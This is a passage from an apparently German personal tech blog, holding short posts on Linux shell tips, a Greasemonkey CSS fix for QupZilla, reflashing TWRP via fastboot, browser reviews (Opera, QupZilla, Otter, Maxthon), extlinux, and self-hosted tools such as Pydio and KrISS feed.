Das ganze wird allerdings noch etwas dauern. Sobald die ersten Ergebnisse vorhanden sind, wir Anholt diese auch in einem Repository bereitstellen.

Da der Kerl vorher bei Intel war, hege ich die Hoffnung, dass hierbei mal etwas qualitativ Hochwertigeres entsteht. Wer einen WLAN-Chip von Broadcom unter Linux nutzt, weiß was mich meine...


IP-Adressen über die Shell sortieren

Ich habe hier eine Textdatei in der pro Zeile eine IP-Nummer steht. Allerdings geht es wild durcheinander. Ziel ist es nun die ganzen Nummern zu sortieren. Mittels folgendem Konstrukt konnte ich die ZSH (sollte auch mit Bash und Co funktionieren) überreden die Nummern zu ordnen.

cat unsortiert.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq >> sortiert.txt

Doppelt aufgeführte Nummern werden hierbei auch gleich auf einen Eintrag minimiert.


Anzeigeprobleme von golem.de unter QupZilla beheben

Wer hier regelmäßig liest, hat bestimmt schon mitbekommen, dass ich aktuell den Browser QupZilla nutze. Dieser hat allerdings mit golem.de ein Problem. Ab einer gewissen Länge der Artikelüberschriften werden diese auf zwei Zeilen umgebrochen. Leider hat dies zur Folge dass sich die zweite Zeile mit dem Artikeltext überlappt. Was ziemlich unschön aussieht.

qupzilla_golem

Das Problem habe ich schon dem Entwickler gemeldet, aber bis es eine Reaktion oder Lösung gibt, muss erst mal ein Workaround her. Unter Opera hätte ich einfach eine, nur für golem.de gültige, CSS-Datei erstellt. Leider bietet QupZilla das aktuell nicht an. Nur eine globale CSS-Datei wäre möglich. Das ist mir zu unsicher. Also sind größere Geschütze nötig. Unter QupZilla gibt es das Plugin Greasemonkey. Für solche Kleinigkeiten ist es eigentlich nicht gedacht, aber was soll's. Erst einmal muss das Plugin in den Einstellungen aktiviert werden.

qupzilla_golem2

Wenn das Plugin aktiviert ist, klickt man am besten auf die Schaltfläche "Einstellungen" und dort dann auf "Script-Verzeichnis öffnen". In dem nun angezeigten Verzeichnis werden die Greasemonkey-Scripte abgelegt. Von daher erstellen wir dort die Datei golem.user.js. Anstelle von golem kann man nehmen, was man will. An user.js darf man allerdings nichts ändern, da es sonst nicht funktioniert. Die erstellte Datei öffnen wir nun mit einem Editor nach Wahl und tragen dort folgendes ein.

// ==UserScript== 
// @name          Golem Uberschrift 
// @include       http://www.golem.de/* 
// @run-at        document-start 
// ==/UserScript==
GM_addStyle(".head1 {position: static !important; top: -2px; }");

Bei @name kann man eintragen, was man will. Dies wird dann im Browser angezeigt. Bei @include wird hinterlegt, für welche Seite(n) das ganze gültig ist. Und @run-at definiert, wann das ganze ausgeführt werden soll. Mittels GM_addStyle fügt CSS-Anweisungen in den Quelltext der betreffenden Seite ein und überschreibt somit quasi die ursprünglichen Angaben. Mittels des Web Inspectors des Browsers habe ich mich durch die Seite geklickt und .head1 als das "Problem" indentifiziert. Von daher habe ich es mittels GM_addstyle von .head1 {position: absolute; top: -2px; } auf .head1 {position: static !important; top: -2px; } umgebogen. Vermutlich nicht ganz die feine englische Art, aber es funktioniert und macht in dem Fall keine weiteren Probleme.

Die Datei speichert man dann einfach ab und startet den Browser einmal neu. Ruft man nun die Einstellungen des Plugins auf, sollte man folgende Anzeige erhalten.

qupzilla_golem3

Eventuell, falls es nicht schon der Fall ist, muss man hier noch den Haken setzen um das ganze zu aktivieren. Danach sollte die Anzeige der Überschriften bei golem.de unter QupZilla wieder passen.

qupzilla_golem4


Warum man einen Androiden mit einer alten Version von TWRP nicht flashen sollte

Gestern war mal wieder Bastelzeit. Und Layer-8-Zeit. Ich wollte schon vor längerem einmal das Omni-Rom auf meinem Mobiltelefon installieren. Gestern habe ich mir mal die Zeit genommen, zumal sonst keiner daheim war und endlich mal Ruhe geherrscht hat.

Also schnell mal Windows gebootet, MyPhoneExplorer gestartet (warum gibt es eigentlich kein vergleichbares Programm das direkt unter Linux läuft? Naja egal.) und Kontakte, SMS usw. gesichert. Sowie noch so gut.. Was brauche ich jetzt? Das Omni-Rom... Gut also selbiges in der aktuellen Version heruntergeladen und die MD5-Summe verglichen. Passt. Nun noch die aktuelle Google-Apps besorgen und beides auf das Mobiltelefon kopieren. Dabei habe ich gemerkt, dass noch einige ROM von Paranoid Android auf dem Hande liegen. Weg damit. Ready to roll? Jep! Also Mobiltelefon neu gebootet und TWRP gestartet. Wie ging das jetzt noch gleich. Ach ja... Cache und Davlik Cache plätten. Gesagt getan. Und nun das neue ROM installieren. Genau an der Stelle hätte mir jemand auf die Finger klopfen sollen. War nur leider keiner da. Das Flashen ging mit einem netten Failure nach hinten los. Nach ein paar Sekunden nervösem googlen hatte ich den Grund gefunden. Meine Version von TWRP ist zu alt. Verdammte Axt! Was nun? Datensicherung vorhanden? Check. Datensicherung auf dem Mobiltelefon vorhanden? Natürlich nicht. Da sich das Mobiltelefon nicht mehr unter Windows oder Linux mounten lässt, habe ich jetzt wohl ein kleines Problem.

Kurz davor, mir schon mal ein neues Mobiltelefon zu bestellen, habe ich über Google das Tool adb.exe gefunden. Damit lässt sich wohl jede Menge Blödsinn anstellen. Unter anderem soll man damit wohl auch flashen können, wenn man, so wie ich, Mist gebaut hat. Da ja nicht wirklich mehr schief gehen kann, habe ich mir dann gleich mal Android SDK installiert. ADB ist ein Bestandteil davon. Als nächstes habe ich mein Telefon in den Recovery-Modus gebootet, ADB Sideload gestartet und versucht mittels adb.exe ein aktuelles Image von TWRP hochzuladen. Hat auch geklappt. Als ich über die Installationsfunktion installieren wollte, wurde die Datei aber nicht gefunden. Nur Zip-Dateien. Also gut, dann packen wir das Image in eine ZIP-Datei und laden Sie noch einmal hoch. Mit dem Ergebnis, dass die Datei angeblich nicht geöffnet werden kann. Unter Windows klappt es aber problemlos. Hmm... Google schlägt mir als weitere Lösung fastboot.exe (ebenfalls Bestandteil des SDK) vor. Da selbiges auch auf der Seite von Omni-Rom empfohlen wird, kann es Versuch ja nicht schaden. Also starten wir das Telefon mal in den Fastboot-Modus und geben in die Konsole unter Windows mal "fastboot flash recovery twrp.img" ein und drücken beherzt auf Return. So wie es aussieht tut sich etwas, und es wird erfolgreich abgeschlossen.

Nach einem Neustart begrüßt mich TWRP in der aktuellen Version. Sollte ich mal wieder mehr Glück als Verstand haben? Ein erneuter Versuch Omni-Rom zu installieren wird erfolgreich abgeschlossen. Eindeutig mehr Glück als Verstand.

Lange Rede, kurzer Sinn... Für den Notfall sollte man immer ein funktionsfähiges Backup auf dem Telefon haben, nicht nur auf dem Rechner. Und RTFM schadet auch nicht. Hätte ich letzteres gemacht, wäre mir das mit der alten Version von TWRP schon vorher aufgefallen.


Entwicklerversion von Opera 24 für Linux veröffentlicht

Seit Opera die Rendering-Engine vor knapp zwei Jahren einem Jahr gewechselt hat, gab es bisher keine neue Veröffentlichung von Opera für Linux (vom Heartbleed-Update abgesehen). Die meisten Nutzer haben es zwischenzeitlich wohl auch schon aufgegeben auf eine neue Version zu hoffen. Umso erstaunlicher ist es, dass nun eine Developer-Version von Opera 24 für Linux zum Download angeboten wird. Die Ankündigung samt Download findet man unter http://blogs.opera.com/desktop/2014/06/opera-24-linux-released-developer-stream/.

Was soll ich jetzt als jahrelanger Operaner, der sogar einmal für eine werbefreie Version gezahlt hat, dazu sagen? Eigentlich nur eines... Die Veröffentlichung kommt viel zu spät. So gut wie jeder den ich kenne der Opera nutzt ist inzwischen auf einen anderen Browser umgestiegen. Und unterm Strich kann ich mit der Windowsversion von Opera 2.0 schon nichts anfangen. Das wird sich unter Linux vermutlich auch nicht ändern. Von daher, Opera ASA, danke. Aber nein danke.


QupZilla - Taste für Mausgesten nun konfigurierbar

Wie hier schon geschrieben, fand ich es nicht besonders sinnvoll, dass die Mausgesten unter QupZilla über die mittlere Maustaste gesteuert werden.

Scheinbar war ich mit dieser Ansicht nicht alleine.So hat nun der Nutzer kdave einen Patch eingereicht, der es ermöglicht, die gewünschte Maustaste auszuwählen.

qup_mouse

Jetzt fehlt eigentlich nur noch, dass man die Gesten an sich an die eigenen wünsche anpassen und erweitern kann. Aber das ist zumindest für mich, nebensächlich. Die meisten vorhandenen Gesten funktionieren wie sie sollen.


QupZilla - aktiven Tab hervorheben

Wie inzwischen hinlänglich bekannt sein sollte, suche ich einen für mich adäquaten Ersatz für Opera 12.16. So wie es aussieht, werde ich nun wohl erst einmal bei QupZilla landen, über den ich hier schon einmal einen Artikel geschrieben habe. Die vorhandenen Mausgesten sind im Auslieferungszustand zwar weiterhin nur über die mittlere Maustaste steuerbar, aber laut diesem Ticket ist wohl jemand bereits an der Sache dran, um dies zu ändern. Bis dahin werde ich mir wohl eigene Mausgesten mit easystroke basteln. Für Windows muss ich mich noch für ein vergleichbares Programm entscheiden.

Was mich bisher unter QupZilla aber noch recht stört ist die Tatsache, dass bei jedem mitgeliefertem Theme der derzeit aktuelle Tab einfach nur weiß ist. Das sieht bei einer Seite die den gleiche Hintergrundfarbe nutzt, nicht gerade gut aus.

QupZilla1

Da der Browser viel mit CSS macht, habe ich mir mal die Datei main.css angesehen. Dort wird leider nichts definiert, was mit dem aktiven Tab zu tun hat. Wäre ja auch zu einfach gewesen. Nachdem ich Google mal wieder etwas gequält habe, bin ich darauf gestoßen, dass es unter Qt die Klasse QTabBar gibt und den "Zustand" tab:selected. Keine Ahnung wie man den Zustand korrekt nennt. Ist an der Stelle eigentlich auch egal. Nach ein paar Versuchen habe ich mir dann folgendes in der main.css zusammengebaut.

QTabBar::tab:selected {
background-color: #008000;
border-bottom-style: none;
}

Und siehe da, es funktioniert und der aktive Tab erstrahlt nun in einem satten Grün.

QupZilla2

Das Ganze ist jetzt zwar noch verbesserungsfähig, aber immerhin ein Anfang. Wer sich an der ursprünglichen Farbe des aktiven Tabs gestört hat, hat nun einen Punkt an der er/sie ansetzen kann.

Somit bleibt aktuell nur noch ein Kritikpunkt übrig. Man kann die Icons für Vor, Zürück, Reload und Home nicht nach rechts verschieben. Wenn das noch kommt, bin ich happy.


QupZilla - Noch eine Alternative zu Opera 12.16?

Noch immer bin ich auf der Suche nach einem Nachfolger für Opera 12.16. Bisher lege ich immer noch große Hoffnung in den Otter-Browser. Dessen Entwicklung geht zwar stetig aber nicht von heute auf morgen von statten. Von daher habe ich mich mal wieder auf die Suche gemacht und habe QupZilla gefunden. Dieser Browser ist neben Linux auch für FreeBSD, Mac OS X, OS/2, Windows und Haiku zu haben.

Den Namen finde ich zwar nicht wirklich gut, aber wenn der Rest passt, kann der Browser wegen mir auch Diarrhoe heißen.

Da es den Browser schon seit 2010 gibt, sollte er auch keine Eintagsfliege sein. Positiv finde ich, dass viele Funktionen von Haus aus enthalten sind. Neben den üblichen Funktionen eines Browsers gibt es hier auch die Möglichkeit geschlossene Tabs wiederherzustellen. Aber leider nicht wie bei Opera über den Mülleimer sondern über das Menü "Verlauf".EDIT: Bei den Browser-Einstellungen gibt es unter dem Reiter "Tabs" den Punkt "Liste der geschlossenen anstelle der offenen Tabs anzeigen". Damit bekommt man dann ein Dropdown-Menü neben der Tabzeile die vergleichbar mit dem Tab-Mülleimer ist.

Wo ich gerade von Menü schreibe... Ja der Browser hat noch ein gutes altes Menü mit "Datei", "Ansicht", "Bearbeiten" usw. Für mich noch ein Pluspunkt. Ein Werbeblocker in Form von AdBlock Plus ist ebenfalls im Lieferumfang enthalten. Eine Passwortverwaltung, Themes sowie eine Schnellwahl-Seite, wie man sie vom Prinzip her von Opera kennt, sind ebenfalls Teil des Funktionsumfangs. Der Browser ist auch mit Plugins erweiterbar. Die Standardinstallation bringt hier auch gleich ein paar Plugins mit. Unter anderem wären das Greasemonkey und Mausgesten. Diese müssen aber erst aktiviert werden.

Mausgesten sind ja ganz wichtig. Zumindest für mich. Hier gibt es allerdings die ersten Minuspunkte. Das Plugin bietet nur einige wenig Gesten an, die man weder anpassen noch erweitern kann. Da die wichtigsten vorhanden sind, kann ich das verschmerzen. Was ich allerdings schlimm finde ist, dass die Gesten mit der mittleren statt der rechten Maustaste gezogen werden. Das geht eigentlich gar nicht.

Von daher starte hier hier mal einen Aufruf an gelangweilte Programmierer mit etwas Zeit. Könnte jemand das Plugin so umbiegen, dass es mit der rechten Maustaste funktioniert? Mir fehlen hierzu einfach die Kenntnisse. Das Plugin findet man hier. Würde mich sehr freuen, wenn das jemand schaffen würde.

So zum Abschluss hier noch ein paar Screenshots des Browsers.

QupZilla1 QupZilla2 QupZilla3


Bestimmten Eintrag des Bootloaders automatisch ausführen

Wer von euch ein Dualbootsystem nutzt wird das Problem bestimmt kennen. Man arbeitet unter Linux und braucht dann z. B. zur Entspannung, oder weil es ein bestimmtes Programm nicht unter Linux gibt, Windows. Normalerweise startet man dann den Rechner neu, wartet bis der Bootloader soweit ist, wählt den Eintrag für Windows und wartet dann wieder, bis Windows gestartet ist. Gerade der Teil bei dem man auswählt, was der Bootloader starten soll, nervt hier dann doch. Unter Mandrake bzw. Mandriva hatte ich hierzu immer rebootin genutzt. Damit konnte man unter Linux im laufendem Betrieb angeben, welcher Eintrag des Bootloaders Grub nach einem Neustart (welcher automatisch ausgeführt wird) genutzt werden soll. Unter Arch vermisse ich das kleine Tool. Davon abgesehen nutze ich inzwischen syslinux als Bootloader. Damit kann rebootin meines Wissens nach nichts anfangen.

Gestern habe ich mich mal wieder wegen einer anderen Sache mit syslinux beschäftigt. Dabei bin ich auf extlinux gestoßen. Dieses Tool ist im Paket von syslinux enthalten. Zumindest unter Arch Linux. Und was muss ich sehen? Das ist, unter anderem, ein Ersatz für rebootin.

Mittels dem Befehlen extlinux --once=windows /boot/syslinux und einem anschließendem reboot wird Linux heruntergefahren, der Rechner neu gestartet der gewünschte Eintrag im Bootloader gestartet. Die Einträge für das Bootmenü bei Syslinux werden über sogenannte Labels definiert. Anstelle von windows wie im genannten Beispiel, nimmt man einfach das Label des Eintrags, den man ausführen will. Anstelle von --once können die Schreibfaulen auch einfach -o nehmen. Sollte syslinux an einer anderen Stelle als /boot/syslinux liegen, muss man dies auch noch anpassen. Spontan fällt mir aber kein Grund ein, wieso das so sein sollte. Packt man den Spass dann noch in ein Script und verpasst dem normalen Nutzer die nötigen Rechte, hat man quasi eine recht bequeme Möglichkeit in ein anderes Betriebssystem zu booten. Mal sehen, ob ich das ganze noch in das Startmenu AppMenu QML packen kann, welches bei mir zum Einsatz kommt.


Benutzerkonten auf FryBoyter.de gewünscht?

Gerade habe ich eine Anfrage per E-Mail erhalten. In dieser wird nachgefragt, ob ich nicht Benutzerkonten einrichten könnte, mit denen man beispielsweise seine Kommentare zu den Artikeln nachträglich bearbeiten kann.

Da dies prinzipiell machbar ist, ich aber nicht unbedingt von einem Mehrwert überzeugt bin, wollte ich hier mal in die Runde der Leser fragen, ob Benutzerkonten gewünscht sind. Wenn ja, was sollten diese für Möglichkeiten bieten?


Ist es ein Otter? Nein, ein Browser

Wie schon in diesem Beitrag angemerkt, bin ich (zumindest mittelfristig) auf der Suche nach einer Alternative zu Opera 12.16. Vor kurzem ist mir hier wieder ein Projekt untergekommen, dass, zumindest auf dem Papier, sehr vielversprechend ist.

Unter http://otter-browser.org wird derzeit ein neuer Browser entwickelt der vom Look and Feel vergleichbar mit Opera 12.16 sein soll und auf QT5 basiert. Auch einige nette Funktionen wie Mausgesten und Mailclient stehen auf der TODO-Liste. Das derzeitige Ein-Mann-Projekt hat vor einigen Tagen auch eine erste Alpha-Version veröffentlicht. Bisher gibt es unter anderem ein Session-Management, Bookmarks, eine History sowie den von Opera bekannten Mülleimer für geschlossene Tabs. Das Changelog mit den genaueren Details kann man unter https://github.com/Emdek/otter/blob/master/CHANGELOG einsehen. Der Entwickler bittet aber darum sich frühestens ab dem Beta-Stadium eine feste Meinung zu bilden. Bisher ist das Spass wirklich noch recht im Alpha-Stadium. So funktionieren zwar Cookies, aber die Verwaltung selbiger funktioniert noch nicht. Dafür dass an Otter erst ca. 2 Monate gearbeitet wird, kann sich das Ergebnis meiner Meinung aber schon sehen lassen. Zumindest wenn man sich eben im Klaren ist, dass es eine Alpha-Version ist.

Für die, die sich schon mal ein Bild machen wollen, ohne Otter zu installieren, habe ich mal zwei Screenshots gemacht.

otter1 otter2

Otter steht derzeit für Linux und Windows zur Verfügung.

Persönlich würde ich mich wie ein Schnitzel freuen, wenn aus dem Projekt etwas werden würde. Zu viele Hoffnungen mache ich mir allerdings nicht. Hoffentlich werde ich angenehm überrascht. Ich wünsche dem Projekt auf jeden Fall alles Gute.

EDIT: Laut diesem Thread ist es wohl doch kein reines Ein-Mann-Projekt mehr.


Lizenzwechsel der Beiträge

Bisher habe ich für die Artikel die Creative Commons Lizenz (BY-SA 3.0 DE) genutzt. Mit Veröffentlichung dieses Beitrags ändert sich nun die Lizenz auf Creative Commons (CC BY-SA 4.0). Dies gilt für alle bereits vorhandenen sowie zukünftige Beiträge die auf https://fryboyter.de veröffentlicht wurden bzw. werden.

Ich habe hier bewusst wieder auf den Ausschluss der kommerziellen Nutzen verzichtet, um die damit verbundenen Nachteile zu vermeiden.

Eine allgemeine Erklärung zwischen Version 3.0 und 4.0 kann man bei iRIGHTS.info nachlesen.


Maxthon Browser - Betaversion für Linux veröffentlicht

Als ich begonnen habe den Browser Opera zu nutzen, war dieser noch kostenpflichtig, wenn man die Werbung weg haben wollte. Ist also schon ein Stück her. Nur im Notfall, oder wenn ich keine Wahl hatte, habe ich einen anderen Browser genutzt. Friede, Freude, Eierkuchen sozusagen. Dann hat Opera Software SAS, das Unternehmen hinter dem Browser Opera, vor ein paar Monaten beschlossen, die Engine von Presto auf Webkit/Blink umzustellen... Dabei ging mal so gut wie alles was Opera ausgemacht hat, über Bord.

Inzwischen sind wir bei Version 20.0.1353.0 angekommen. Kein Vergleich zur letzten Presto-Version 12.16. Da ich mir inzwischen sicher bin, dass das was Opera jahrelang für mich ausgemacht hat, über den Jordan mit einem "One Way Ticket" gegangen ist, suche ich nun schon seit längerem nach einem halbwegs annehmbaren Ersatz für mich. Als hardcore Operaner eigentlich eine aussichtslose Suche. Das Feeling stimmt eigentlich bei keinem der bekannten Browser. Davon abgesehen nervt es mich, wenn ich einen Browser erst mit x Plugins erweitern muss, damit ich ihn vernünftig nutzen kann. Lediglich Midori hatte es in die engere Auswahl geschafft. Allerdings hatte ich hier oft das Gefühl der Browser wirft bei jeder Seite eine Münze ob er abstürzt oder nicht. Irgendwann bin ich dann auf Maxthon gestoßen. Kein Opera 12.16, soviel ist klar. Aber irgendwie fühlt er sich besser an, als die Alternativen, obwohl dieser auch auf Webkit basiert. Der Browser wird auch für die eine oder andere Plattform angeboten. Nur nicht für Linux. Na herzlichen Dank...

Kurz darauf die Ankündigung der Entwickler von Maxthon. Eine Linux-Version ist geplant. Gibt es doch einen Gott?

Vor ein paar Tagen haben die Entwickler nun eine frei zugängliche Beta-Version veröffentlicht. Dieser fehlen noch einige Features der Windows-Version und noch mehr der letzten Presto-Version von Opera. Aber egal... Installieren kostet nichts. Also mal eben ein PKGBUILD für Arch Linux basteln um dann festzustellen im AUR gibt es bereits ein Paket... Manchmal könnte ich mich ohrfeigen. Also dann eben über AUR. Die Installation verlief ohne Probleme. Allerdings hat mich die Installationsgröße von 165,14 MB dann doch überrascht. Naja egal, ich habe ein paar TB frei.

Nach dem ersten Start haben mich erst mal Bookmarks in asiatischen Schriftzeichen angelächelt. Laut einem Kommentar im AUR liegt es aber am verwendeten DEB-Paket. Für einen ersten Test komme ich aber mit der China-Version zurecht. Bis auf wenige Sachen ist hier alles in Englisch. Mausgesten sind schon mal im Lieferumfang enthalten, die sich zumindest grob auch anpassen lassen. Den Ad-Blocker der mir bei der Windows-Version positiv aufgefallen ist, vermisse ich allerdings noch. Die bisher enthaltenen Hauptfunktionen kann man unter http://forum.maxthon.com/thread-7305-1-1.html nachlesen. Dort werden auch diverse Pakete für i386 und x86_64 angeboten.

Ohne es jetzt genau benennen zu können, gefällt mir die erste Beta-Version bisher jetzt schon besser, als das was in den letzten Monaten unter dem Namen Opera veröffentlicht wurde. Wenn die Entwickler wirklich ihr Wort halten und auf die Wünsche der Nutzer eingehen, könnte Maxthon, zumindest mittelfristig, ein annehmbarer Ersatz für Presto-Opera werden. Bis dahin hoffe ich, dass bis dahin keine Sicherheitslücken in Opera 12.16 gefunden werden oder die Entwicklung des neuen Opera soweit fortgeschritten ist, dass er für mich nutzbar wird.

Lange Rede, wenig Sinn (oder so ähnlich)... Wer mit dem neuen Opera nichts anfangen kann oder will, sollte mal einen Blick auf Maxthon werfen.


Befehle älterer MS Office Versionen unter MS Office 2010 finden

Seit ein paar Jahren bin ich um die Nutzung von Office 2010 herumgekommen. Das hat nun ein Ende. Unsere EDVler haben es jetzt flächendeckend ausgerollt, da die bisherige Version nicht mehr unterstützt wird. Die Begeisterung einiger Nutzer kann ich kaum in Worte fassen. Das lässt meine Erziehung einfach nicht zu. ;-) Selbst werde ich mich zwar damit arrangieren können, aber die Umstellung wird Zeit brauchen, zumal ich MS Office beruflich selten nutze. Privat ja gar nicht.

Von unser EDV haben wir heute einen interessanten Link bekommen, der den Umstieg (zumindest für manche) doch ziemlich erleichtern könnte. Auf dieser Seite von Microsoft kann man quasi ein Programm einer älteren Office-Version aufrufen. Klickt man dann auf einen bestimmten Menüeintrag oder Schaltfläche, bekommt man angezeigt wo man diese unter Office 2010 findet. Also mir und meinen Nerven hilft das auf jeden Fall weiter. Damit man sich das ganze aber ansehen kann, muss Silverlight installiert sein, was es offiziell nur für Windows oder Mac gibt. Also mal eben mit Linux nachsehen, wird nicht klappen.

Dass ich den Artikel auch unter OSBN veröffentlicht habe, ist übrigens komplette Absicht. Ich kann mir gut vorstellen, dass der eine oder andere Leser oder Blogger dort beruflich oder privat MS Office nutzen muss bzw. will und ihm oder ihr die Seite weiterhelfen könnte. Man möge mir also den Ausflug ins CSS-Land verzeihen.


Der Erklärbär für Shellbefehle

Ab und zu kommt es vermutlich bei allen Nutzern von Linux vor, dass sie irgendwo einen Befehl sehen, mit dem sie wenig bis gar nichts anfangen können. In dem Fall ist dann in der Regel angesagt, die Man-Page des jeweiligen Befehls durchzuackern. Was bei manchen Man-Pages teilweise ein ziemlicher Akt sein kann (man wireshark-filter wäre zum Beispiel solch ein Kandidat).

Heute ist mir eine recht gute, wenn auch nicht perfekte, Alternative dazu untergekommen. Gibt man unter http://explainshell.com/ den jeweiligen Befehl ein, wird dieser in Einzelteile zerlegt, welche dann erklärt werden. Zu Testzwecken haben ich mir einfach mal einen Befehl von der Seite commandlinefu geschnappt, über die ich schon einmal einen Artikel verfasst habe, und habe damit Explainshell gefüttert. Herausgekommen ist dann das, was man auf folgende Screenshot sieht.

explainshell

Das lässt sich doch eigentlich sehen, oder? Ich habe dann noch den einen oder anderen Befehl getestet und ähnliche Ergebnisse erhalten. Ich werde vermutlich zwar weiterhin Man-Pages lesen, aber die Seite werde ich mir auf jeden Fall als Lesezeichen speichern.


Ausfall der Webseite und die Entdeckung von Pydio

Heute ist für ein paar Stunden diese Seite nicht erreichbar gewesen. Der Grund war, dass mal wieder so ein Vollidiot gemeint hat, er müsse sein neues Spamtool mal bei mir ausprobieren. Da er so schlau war, das immer über die gleiche IP zu machen, wollte ich über das Plugin "Yoast WordPress SEO" die Datei .htaccess mal eben anpassen und ihn aussperren. Leider hat mir da ein kapitales Layer-8-Problem einen dicken Strich durch die Rechnung gemacht, so dass man für ein paar Stunden nur der Fehler 500 angezeigt wurde.

Da ich, Firewall sei dank, keine SSH-Verbindung zu meinem Webspace aufbauen konnte, habe ich daher erst mal in die Röhre geschaut. Mein Mobiltelefon, auf dem ein SSH-Client installiert ist, lag natürlich auch daheim. Also doch noch schnell heim und es von dort aus reparieren. Man hat ja sonst nichts zu tun. Bei der Gelegenheit habe ich gleich mal Google gequält, wie ich solche Probleme in Zukunft einfacher lösen kann, ohne mich mit der Firewall anzulegen. Dabei bin ich auf Pydio gestoßen. Genauer kann ich es mir erst heute Abend daheim ansehen. Aber bisher bin ich ziemlich begeistert. Ich würde es als Mischung zwischen Owncloud und einem Dateimanager bezeichnen, der man eine Priese Speed verpasst hat. Auf die Schnelle würde ich sagen, dass Ding bietet so ziemlich alles. Naja nicht alles, aber sehr viel wie WebDAV, Samba, Dropbox, LDAP/AD, Antivirus, Dateifreigaben, Benutzerverwaltung, EncFs, SFTP, Dateieditoren (ganz wichtig, falls ich mal wieder ein Layer-8-Problem habe) usw. usw. Genaueres findet man unter http://pyd.io/plugins/.

Die Installation ist auch idiotensicher. Hochladen, aufrufen und dem Installationsprozess folgen. Die Konfiguration erfolgt entweder in einer Datei oder in einer Datenbank.

Clients für iOS und Android sowie ein Client zum Abgleichen (noch nicht stabil. Für Windows, Mac und Linux) der Dateien werden, wie auch einige Bridges (z. B. zu Wordpress) werden ebenfalls angeboten.

Sollten sich heute Abend nicht arge Nachteile herausstellen, werde ich Dropbox und Co. wohl einstampfen.

Wer sich mal ein Bild machen will, findet unter https://demo.pyd.io/ eine Demoinstallation.


Ich...muss...terminieren

Nein ich stehe nicht kurz davor Amok zu laufen. Über meine "neue" Entdeckung bin ich eigentlich sogar ganz froh.

Ich hatte mir schon mal vor einiger Zeit Alternativen zur Konsole von KDE angesehen. Bin dann aber irgendwie doch bei selbiger geblieben. Jetzt habe ich den Wechsel geschafft. Die Entscheidung ist auf Terminator gefallen. Deswegen auch der dämliche Titel. :D Terminator ist ein Terminal Emulator, der, zumindest für mich, ein paar nette Möglichkeiten bietet. So bietet der Terminator z. B. die Funktion dass man innerhalb des Fensters diverse Terminals neben- bzw. untereinander anordnen kann. So hat man mehrere Sachen im Blick und sieht z. B. wann das Update oder der Download fertig ist, kann aber nebenher noch andere Sachen machen.

terminator

Bei diesem Beispiel ist links die Datei /etc/pacman.d/mirrorlist mit nano geöffnet. Rechts oben wird das System aktualisiert und rechts unten wurde eine SSH-Verbindung zu meinem Webspace aufgebaut.

Zusätzlich kann man dann noch die, von der Konsole gewohnten, Tabs nutzen. Profile in denen sich zum Beispiel unterschiedliche Aufteilungen speichern lassen, sind ebenfalls möglich. Und, um es mal salopp zu formulieren, einen Arsch voll Shortcuts gibt es auch (diese habe ich, derzeit noch nicht vollständig, bei meiner Cheatsheet-Sammlung einmal hinterlegt) , so dass man nicht unbedingt auf die Maus angewiesen ist. Weiterhin lassen sich zum Beispiel Terminals gruppieren usw.

Wer also eine Alternative für seinen/ihren Terminal Emulator sucht, sollte dem Terminator zumindest mal eine Chance geben.


I am a cheater baby

Für Programme die ich nicht regelmäßig nutzte, finde ich sogenannte Cheat sheets ziemlich gut. Hier werden z. B. die wichtigsten Befehle oder Tastaturkombinationen eines Programms aufgelistet. Leider ist es recht häufig so, dass ich diese sheets dann brauche, wenn ich z. B. an einem anderen, als meine eigenen, Rechner sitze. Und dann geht das Suchen wieder los. Da mich das nervt habe ich mich mal nach einer zentralen Lösung umgesehen.

Gefunden habe ich Cheaters. Im Grunde genommen sind das nur ein paar HTML-Seiten. Aber es muss ja nicht immer kompliziert sein. Cheaters kann man z. B. auch einfach auf den eigenen Webspace laden und hat somit, eine Internetverbindung vorausgesetzt, seine Cheat sheets immer bei sich. Unter http://cheat.fryboyter.de habe ich das Ganze mal "installiert". Bisher wird dort aber nur ein Teil der mitgelieferten Cheat sheets angezeigt. Die, die ich noch brauche, werde ich die Tage mal hinzufügen.

Auf der Suche nach solch einer Lösung bin ich auch noch auf Cheatsheetapp gestoßen. Das ist ein Programm für den Mac, der lokal Cheat sheets des jeweilig genutzten Programms anzeigt, indem man die "Mac-Taste" länger drückt. Lokal wäre das für mich auch ein Traum. Leider nutze ich kein Mac OS. Für Linux habe ich auch keine Alternative gefunden. Kennt eventuell jemand ein vergleichbares Programm, dass unter Linux läuft?


KrISS feed - (m)eine Alternative zu Tiny Tiny RSS?

Seit einiger Zeit, genauer seit Google Reader dicht gemacht wurde, nutze ich Tiny Tiny RSS als Ersatz, da ich dies selbst hosten kann und nicht auf Dritte angewiesen bin. Funktioniert Tiny Tiny RSS? Ja. Bin ich damit zufrieden? So ziemlich. Nun kommt aber das große Aber... Ich mag die Art des Entwicklers, dass er in seinem Forum an den Tag legt nicht. Und viele der dort registrierten Nutzer schlagen in die gleiche Kerbe. Von daher sehe ich mir regelmäßig Alternativen an, die ich auch selbst hosten kann. Gestern bin ich mal wieder auf eine gestoßen, die Tiny Tiny RSS bei mir vermutlich ablösen wird. Meine Entdeckung hört auf den Namen KrISS feed. Dieser Reader benötigt nur php 5.2, curl, libxml2 und mbstring. Eine Datenbank ist nicht nötig. Und er besteht aus genau einer PHP-Datei. Plugins sind ab der derzeit aktuellen Version auch möglich, aber bisher noch nicht vorhanden. Hier gibt es auf jeden Fall noch Nachholbedarf. So vermisse ich derzeit auch die Filterfunktion um gewisse Artikel eines Feeds automatisch zu löschen. Dies ist für mich wichtig, da bei einigen Feeds Teilnehmer mehr auf Masse statt auf interessante Artikel setzen. Oder mich einfach gewisse Themen eines Feeds an sich nicht interessieren.

Optisch sagt er mir auch zu. Wer will kann per CSS die Optik auch selbst anpassen bzw. vorhandene Themes nutzen.

ali0une_white

